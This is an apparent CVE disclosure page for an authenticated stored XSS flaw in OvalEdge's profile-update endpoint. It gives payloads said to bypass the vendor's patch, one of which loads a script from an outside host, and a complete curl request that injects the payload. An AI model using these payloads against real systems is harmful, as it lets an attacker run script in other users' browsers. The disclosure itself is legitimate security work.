> For the complete documentation index, see [llms.txt](https://docs.offsecguy.com/cve/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.offsecguy.com/cve/ovaledge/vulnerabilities/stored-xss.md).

# Stored XSS

## Stored XSS (authenticated)  <a href="#finding1" id="finding1"></a>

### CVE-2022-30360

#### OvalEdge 5.2.8.0 and earlier is affected by multiple Stored XSS (AKA Persistent or Type II) vulnerabilities via a POST request to <mark style="color:red;">/profile/updateProfile</mark> via the <mark style="color:red;">slackid</mark> or <mark style="color:red;">phone</mark> parameters.  Authentication is required.&#x20;

{% hint style="warning" %}
**<https://example.com/ovaledge>**<mark style="color:red;">**/profile/updateProfile**</mark>
{% endhint %}

{% hint style="info" %}
Here's two examples which bypass the latest XSS patch:

<pre><code><strong> &#x26;lt;/span> &#x26;lt;script src="//xss.qa"/>
</strong> &#x26;lt;/span> &#x26;lt;script > &#x26;#x61;lert ('xss');&#x26;lt;/script >
</code></pre>

{% endhint %}

{% hint style="info" %}
Note the use of a space at the beginning of the XSS strings.\
\
Exploitation is limited to 50 characters.
{% endhint %}

Example CURL Request

```
curl -k 'https://example.com/ovaledge/profile/updateProfile' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-US,en;q=0.9' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykZH2TqJk3RBgZVKN' \
  -H 'Cookie: oe-loc=en; JSESSIONID=NzA2ZTg2YjUtYmE2OS00MTZiLTllZmItNTIzZGUxZmRmYjUy' \
  -H 'Origin: https://example.com' \
  -H 'Referer: https://example.com/ovaledge/' \
  -H 'Sec-Fetch-Dest: empty' \
  -H 'Sec-Fetch-Mode: cors' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "macOS"' \
  --data-raw $'------WebKitFormBoundarykZH2TqJk3RBgZVKN\r\nContent-Disposition: form-data; name="fname"\r\n\r\nAdmin\r\n------WebKitFormBoundarykZH2TqJk3RBgZVKN\r\nContent-Disposition: form-data; name="lname"\r\n\r\nOvalEdge\r\n------WebKitFormBoundarykZH2TqJk3RBgZVKN\r\nContent-Disposition: form-data; name="email"\r\n\r\nadmin@ovaledge.com\r\n------WebKitFormBoundarykZH2TqJk3RBgZVKN\r\nContent-Disposition: form-data; name="phone"\r\n\r\n &lt;/span> &lt;script > &#x61;lert ('xss');&lt;/script >\r\n------WebKitFormBoundarykZH2TqJk3RBgZVKN\r\nContent-Disposition: form-data; name="slackid"\r\n\r\n &lt;/span> &lt;script > &#x61;lert ('xss');&lt;/script >\r\n------WebKitFormBoundarykZH2TqJk3RBgZVKN\r\nContent-Disposition: form-data; name="picture"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundarykZH2TqJk3RBgZVKN\r\nContent-Disposition: form-data; name="stackId"\r\n\r\n\r\n------WebKitFormBoundarykZH2TqJk3RBgZVKN\r\nContent-Disposition: form-data; name="userId"\r\n\r\nadmin\r\n------WebKitFormBoundarykZH2TqJk3RBgZVKN--\r\n' \
  --compressed
```